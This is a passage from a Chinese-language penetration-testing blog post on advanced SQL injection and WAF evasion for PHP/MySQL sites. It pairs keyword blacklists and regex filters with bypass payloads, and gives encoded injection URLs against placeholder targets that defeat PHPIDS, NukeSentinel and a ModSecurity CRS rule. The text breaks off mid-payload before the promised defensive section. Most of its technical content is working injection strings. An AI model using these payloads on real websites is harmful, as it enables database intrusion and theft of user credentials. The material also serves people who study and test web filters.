高级SQL注入:混淆和绕过

作者: secflag 分类: 渗透测试 发布时间: 2017-03-07 10:51
内容

#############

【0×00】 – 简介
【0×01】 – 过滤规避(Mysql)
【0x01a】 – 绕过函数和关键词的过滤
【0x01b】 – 绕过正则表达式过滤
【0×02】 – 常见绕过技术
【0×03】 – 高级绕过技术
【0x03a】 – HTTP参数污染:分离与结合
【0x03b】 – HTTP参数参杂
【0×04】 – 如何保护你的网站
【0×05】 – 总结
【0×06】 – 参考
【0×07】 – 致谢

########################

【0×01】 – 简介

########################

大家好,这是一篇致力于文档化我们所从事的高级SQL注入技术的文章。
本文将要揭示能用于现实CMSs和WAFs程序中的高级绕过技术和混淆技术。文中所提到的SQL注入语句仅仅是一些绕过保护的方法。还有一些其他的技术能用于攻击WEB程序,但是很不幸我们不能告诉你,因为它们就是0day。不论如何,本文旨在揭示现实世界中没有完全彻底的安全系统即使你在一个WAF上面花费了三十万美元。
本文分为7个章节,仅有0×01到0×03章节是介绍技术内容的。
0×01章节我们将详细介绍关于如何绕过基本的函数和关键词过滤。0×02章节我们将给出常见的绕过技术用于绕过开源和商业性的WAF。0×03章节我们将分两个小节来深入探讨高级绕过技术:“HTTP参数污染:分离和结合”和“HTTP参数参杂”。0×04章节我们将指导如何用正确的解决方案保护你的网站。在最后的0×05章节是对0×01到0×04章节的总结。

########################
【0×01】 -过滤规避(Mysql)
########################

本节将阐述基于PHP和MySQL的过滤规避行为以及如何绕过过滤。过滤规避是一种用来防止SQL注入的技术。这种技术可以用SQL函数,关键词过滤或者正则表达式完成。这就意味着过滤规避严重依赖如何储存一个黑名单或者正则表达式。如果黑名单或者正则表达式没有覆盖每一个注入情境,那么WEB程序对于SQL注入攻击来说仍旧是脆弱的。

++++++++++++++++++++++++++++++++++++++++++
【0x01a】 – 绕过函数和关键词过滤
++++++++++++++++++++++++++++++++++++++++++

函数和关键词过滤使用函数和关键词黑名单来保护WEB程序免受攻击。如果一个攻击者提交了一个包含在黑名单中的关键词或者SQL函数的注入代码,这个攻击便会失效。然而,如果攻击者能够巧妙使用其他的关键词或者函数来操作注入,那么黑名单将无法阻止攻击。为了阻止攻击大量的关键词和函数必须放到黑名单中。但是这也影响了用户,当用户想提交一个存在黑名单中的单词时,用户将无法提交,因为这个单词已被黑名单过滤。接下来的情境展示了一些使用函数和关键词过滤以及绕过技术的例子。
关键词过滤:          and,or

———————————————————————————–

PHP过滤代码:        preg_match(‘/(and|or)/I’,$id)
关键词and,or常被用做简单测试网站是否容易进行注入攻击。这里给出简单的绕过使用&&,||分别替换and,or。
过滤注入:            1 or 1 = 1    1 and 1 = 1
绕过注入:            1 || 1 = 1    1 && 1 = 1

————————————————————————————

关键词过滤:          and,or,union

————————————————————————————

PHP过滤代码:        preg_match (‘/(and|or|union)/I’,$id)
关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。
过滤注入:            union  select  user, password  from  users
绕过注入:            1 || (select  user  from  users  where  user_id = 1)=’admin’
** 注意:你必须知道表名,列名和一些表中的其他数据,否则你必须用别的语句从information_schema.columns中获取。
举例,使用substring函数获取表名的每一个字符。

————————————————————————————-

关键词过滤:          and,or,union,where

————————————————————————————-

PHP过滤代码:        preg_match(‘/(and|or|union|where)/I’,$id)
过滤注入:             1||(select  user  from  users  where  user_id = 1)= ‘admin’
绕过注入:            1||( select  user  from  users  limit  1)=’admin’

————————————————————————————–

关键词过滤:          and,or,union,where,limit

————————————————————————————–

PHP过滤代码:        preg_match(‘/(and|or|union|where|limit)/I’,$id)
过滤注入:            1||(select  user  from  users  limit  1)=’admin’
绕过注入:         1||(select  user  from  users  group by user_id having user_id=1 )= ‘admin’

—————————————————————————————

关键词过滤:          and,or,union,where,limit,group by

—————————————————————————————

PHP过滤代码:        preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)
过滤注入:            1||(select  user  from  users  group  by  user_id  having  user_id  =1)=’admin’
绕过注入:          1||(select  substr(group_concat(user_id),1,1) user  from  users  )=1

—————————————————————————————

关键词过滤:          and,or,union,where,limit,group by,select,’

—————————————————————————————

PHP过滤代码:       preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id
过滤注入:            1||(select substr(group_concat(usr_id),1,1)user from users =1
绕过注入:            1|| user_id is not null
绕过注入:            1||substr(user,1,1)=0×61
绕过注入:            1||substr(user,1,1)=unhex(61)

—————————————————————————————-

关键词过滤:          and,or,union,where,limit,goup by,select,’,hex,

—————————————————————————————–

PHP过滤代码:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)
过滤注入:            1||substr(user,1,1)=unhex(61)
绕过注入:            1||substr(user,1,1)=lower(conv(11,10,36))

——————————————————————————————

关键词过滤:          and,or,union,where,limit,group by,select,’,hex,substr

——————————————————————————————-

PHP过滤代码:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)
过滤注入:            1||substr(user,1,1)=lower(conv(11,10,36))
绕过注入:            1||lpad(user,7,1)

——————————————————————————————-

关键词过滤:          and,or,union,where,limit,group by,select,’,hex,substr,white space

——————————————————————————————-

PHP过滤代码:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)
过滤注入:            1||lpad(user,7,1)
绕过注入:            1%0b||%0blpad(user,7,1)

——————————————————————————————–

从上面的例子中我们可以看出有大量的SQL语句可以用来绕过黑名单,虽然黑名单已经包含了很多关键词和函数,此外,还有数不清的例子中没有提到的SQL语句可以用来绕过黑名单。
建立一个更大的黑名单不是一个保护你网站的好注意。记住,过滤的关键词和函数越多,对用户越不友好。

++++++++++++++++++++++++++++++++++++++++++

【0x01b】 – 绕过正则表达式过滤

++++++++++++++++++++++++++++++++++++++++++

正则表达式过滤是一个比关键词和函数过滤要好的阻止SQL注入的方法,因为它使用模式匹配来检测攻击。但是,很多正则表达式仍然能被绕过。下面以开源软件PHPIDS 0.6举例阐明用来绕过正则表达式的注入脚本。
PHPIDS通常阻止包含=,(或者’ 跟随一个字符串或者整数输入,比如1 or 1=1,1 or ’1’,1 or  char(97)。但是,它能被使用不包含=,(或者’符号的语句绕过。

[ code] ——————————————————————————————–

过滤注入:             1 or 1 = 1
绕过注入:             1 or 1

[end code] —————————————————————————————

[code] ---------------------------------------------------------------------------------------------

过滤注入:             1 union select 1, table_name from information_schema.tables where table_name=’users’
过滤注入:             1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’
过滤注入:             1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
绕过注入:             1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
绕过注入:             1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273

[end code] ----------------------------------------------------------------------------------------

########################

【0x02】 - 常见绕过技术

########################

在这个章节,我们将提到关于绕过WEB应用防护系统(WAF)的技术。首先我们需要认识一下什么是WAF。
WEB应用防护系统(WAF)是一套设备,服务扩展或者过滤器,对HTTP会话应用一系列的规则。一般来说,这些规则包含了常见的攻击比如跨站脚本攻击(XSS)和SQL注入攻击。很多攻击可以通过制定符合自己程序的规则来识别和阻挡。花时间实现定制规则是有重要意义的,而且当WEB程序改变时需要维护。
WAF通常被称做“深层次数据包检测防火墙”,它们检查HTTP/HTTPS/SOAP/XML-RPC/WEB服务在内的每一个请求和相应。一些现代的WAF系统同时检查攻击特征和异常行为。
现在让我们赶紧来了解如何用混淆技术来破坏WAF吧,只要花时间去理解它的规则以及运用你的想象所有WAF都能被绕过!

用注释来绕过

SQL注释能让我们绕过许多绕过和WAF

[Code]---------------------------------------------------------

http://victim.com/news.php?id+un/**/ion+se/**/lect+1,2,3--

[End Code]----------------------------------------------------

变换大小写
某些WAF仅过滤小写的SQL关键词
正则表达式过滤:/union\sselect/g

[Code]-----------------------------------------------------------

http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

[End Code]------------------------------------------------------

替换关键词
某些程序和WAF用preg_replace函数来去除所有的SQL关键词。那么我们能简单的绕过。

[Code]-------------------------------------------------------------

http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

[End Code]-------------------------------------------------------

某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用“%0b”来绕过。

[Code]-------------------------------------------------------------

http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

[End Code]--------------------------------------------------------

对于Mod_rewrite,注释“/**/”不能绕过,那么我们用“%0b”代替“/**/”。
被禁止的:http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
绕过:http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

字符编码
大多CMS和WAF将对程序的输入进行解码和过滤,但是某些WAF仅对输入解码一次,那么双重加密就能绕过某些过滤,这时WAF对输入进行一次解码并过滤与此同时程序继续解码且执行SQL语句。

[Code]---------------------------------------------------------------

http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

[End Code]----------------------------------------------------------

此外,这些技术结合起来可以绕过Citrix NetScaler
-去除所有“NULL”字符
-在某些部分使用查询编码
-去除单引号字符“’”
-爽去吧!
归功于:Wendel Guglielmetti Henrique 和 Armorlogic Profense 较早的通过URL编码换行符绕过2.4.4
#现实例子
NukeSentinel (Nuke Evolution)

[Nukesentinel.php Code]------------------------------------------------------------

// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}

[End Code]-------------------------------------------------------------------------

我们能利用下面脚本绕过它的过滤:
禁止: http://victim.com/php-nuke/?/**/union/**/select?..
绕过: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
绕过: http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS  (归功于:Johanners Dahse)

[SecRule]------------------------------------------------------------------------------

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]-----------------------------------------------------------------------------
我们可以利用下面代码绕过它的过滤:

[Code]-----------------------------------------------------------------------------------

http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

[End Code]------------------------------------------------------------------------------

从这个攻击,我们可以绕过Mod Security。让我们看看发生了什么!!
MySQL Server支持3中注释风格:
-从#字符开始到这一行的末尾
-从--序列开始到这一行的末尾
-从/*序列到下一个*/之间,如同C语言
此语法能够使注释延伸到多行,因为开始序列和闭合序列不必在同一行。
下面的例子我们用“%0D%0A”作为换行符。让我们看看第一个请求(获取DB 用户)。SQL数据的结果看起来类似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而当SQL数据被MySQL DB执行的时候类似如下:
0 div 1 union select 1,2,current_user
缓冲区溢出
用C语言写的WAF有溢出的倾向或者在装载一串数据时表现异常。
给出一大串数据使我们的代码执行

[Code]--------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x